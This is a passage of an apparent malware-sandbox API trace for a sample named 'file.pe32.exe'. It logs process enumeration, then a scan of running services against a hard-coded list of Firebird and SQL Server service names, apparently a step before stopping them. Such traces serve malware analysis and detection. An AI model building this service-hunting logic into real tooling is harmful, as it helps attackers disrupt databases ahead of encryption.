[0208.899] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0208.899] lstrlenW (lpString="audiodg.exe") returned 11 [0208.900] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0208.900] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0208.900] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0208.900] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0208.900] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0208.901] lstrlenW (lpString="Memory Compression") returned 18 [0208.901] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0208.901] lstrlenW (lpString="sihost.exe") returned 10 [0208.901] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.902] lstrlenW (lpString="svchost.exe") returned 11 [0208.902] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0208.903] lstrlenW (lpString="taskhostw.exe") returned 13 [0208.903] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0208.903] lstrlenW (lpString="msoia.exe") returned 9 [0208.903] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0208.904] lstrlenW (lpString="explorer.exe") returned 12 [0208.904] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0208.904] lstrlenW (lpString="SearchUI.exe") returned 12 [0208.904] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0208.904] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0208.905] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0208.905] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0208.905] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0208.906] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0208.906] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0208.906] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0208.906] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.906] lstrlenW (lpString="dllhost.exe") returned 11 [0208.907] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0208.915] lstrlenW (lpString="dllhost.exe") returned 11 [0208.915] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0208.915] CloseHandle (hObject=0x3f8) returned 1 [0208.916] Sleep (dwMilliseconds=0x1f4) [0209.474] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447afe0 [0209.474] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0209.475] GetLastError () returned 0xea [0209.475] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0209.475] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0209.476] CloseServiceHandle (hSCObject=0x447afe0) returned 1 [0209.476] lstrlenW (lpString="Appinfo") returned 7 [0209.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0209.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0209.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0209.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0209.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0209.477] lstrlenW (lpString="AppXSvc") returned 7 [0209.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0209.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0209.477] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0209.477] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0209.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0209.477] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0209.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0209.477] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0209.477] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0209.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0209.477] lstrlenW (lpString="Audiosrv") returned 8 [0209.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0209.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0209.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0209.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0209.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0209.477] lstrlenW (lpString="BFE") returned 3 [0209.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0209.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0209.477] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0209.477] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0209.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0209.477] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0209.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0209.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0209.477] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0209.477] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0209.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0209.478] lstrlenW (lpString="CDPSvc") returned 6 [0209.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0209.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0209.478] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0209.478] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0209.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0209.478] lstrlenW (lpString="ClickToRunSvc") returned 13 [0209.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0209.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0209.478] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0209.478] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0209.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0209.478] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0209.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0209.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0209.478] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0209.478] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0209.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0209.478] lstrlenW (lpString="CryptSvc") returned 8 [0209.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0209.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0209.478] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0209.478] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0209.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0209.478] lstrlenW (lpString="DcomLaunch") returned 10 [0209.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0209.478] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0209.478] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0209.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0209.478] lstrlenW (lpString="DeviceAssociationService") returned 24 [0209.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0209.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0209.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0209.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0209.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0209.479] lstrlenW (lpString="Dhcp") returned 4 [0209.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0209.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0209.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0209.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0209.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0209.479] lstrlenW (lpString="Dnscache") returned 8 [0209.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0209.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0209.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0209.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0209.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0209.479] lstrlenW (lpString="DPS") returned 3 [0209.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0209.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0209.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0209.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0209.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0209.479] lstrlenW (lpString="DusmSvc") returned 7 [0209.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0209.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0209.479] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0209.479] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0209.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0209.479] lstrlenW (lpString="EventLog") returned 8 [0209.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0209.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0209.479] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0209.479] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0209.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0209.480] lstrlenW (lpString="EventSystem") returned 11 [0209.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0209.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0209.480] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0209.480] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0209.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0209.480] lstrlenW (lpString="FontCache") returned 9 [0209.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0209.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0209.480] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0209.480] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0209.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0209.480] lstrlenW (lpString="gpsvc") returned 5 [0209.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0209.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0209.480] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0209.480] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0209.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0209.480] lstrlenW (lpString="iphlpsvc") returned 8 [0209.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0209.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0209.480] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0209.480] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0209.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0209.480] lstrlenW (lpString="KeyIso") returned 6 [0209.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0209.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0209.480] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0209.480] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0209.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0209.480] lstrlenW (lpString="LanmanServer") returned 12 [0209.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0209.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0209.481] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0209.481] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0209.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0209.481] lstrlenW (lpString="LanmanWorkstation") returned 17 [0209.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0209.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0209.481] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0209.481] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0209.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0209.481] lstrlenW (lpString="lfsvc") returned 5 [0209.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0209.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0209.481] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0209.481] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0209.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0209.481] lstrlenW (lpString="lmhosts") returned 7 [0209.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0209.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0209.481] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0209.481] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0209.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0209.481] lstrlenW (lpString="LSM") returned 3 [0209.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0209.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0209.481] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0209.481] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0209.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0209.481] lstrlenW (lpString="MpsSvc") returned 6 [0209.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0209.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0209.481] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0209.481] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0209.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0209.481] lstrlenW (lpString="NcbService") returned 10 [0209.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0209.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0209.482] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0209.482] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0209.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0209.482] lstrlenW (lpString="netprofm") returned 8 [0209.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0209.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0209.482] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0209.482] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0209.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0209.482] lstrlenW (lpString="NgcSvc") returned 6 [0209.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0209.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0209.482] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0209.482] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0209.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0209.482] lstrlenW (lpString="NlaSvc") returned 6 [0209.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0209.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0209.482] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0209.482] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0209.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0209.482] lstrlenW (lpString="nsi") returned 3 [0209.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0209.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0209.482] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0209.482] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0209.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0209.482] lstrlenW (lpString="PcaSvc") returned 6 [0209.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0209.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0209.483] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0209.483] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0209.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0209.483] lstrlenW (lpString="PlugPlay") returned 8 [0209.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0209.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0209.483] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0209.483] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0209.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0209.483] lstrlenW (lpString="Power") returned 5 [0209.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0209.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0209.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0209.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0209.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0209.484] lstrlenW (lpString="ProfSvc") returned 7 [0209.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0209.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0209.484] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0209.484] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0209.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0209.484] lstrlenW (lpString="RpcEptMapper") returned 12 [0209.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0209.484] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0209.484] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0209.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0209.484] lstrlenW (lpString="RpcSs") returned 5 [0209.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0209.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0209.484] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0209.484] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0209.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0209.484] lstrlenW (lpString="SamSs") returned 5 [0209.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0209.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0209.484] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0209.484] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0209.484] 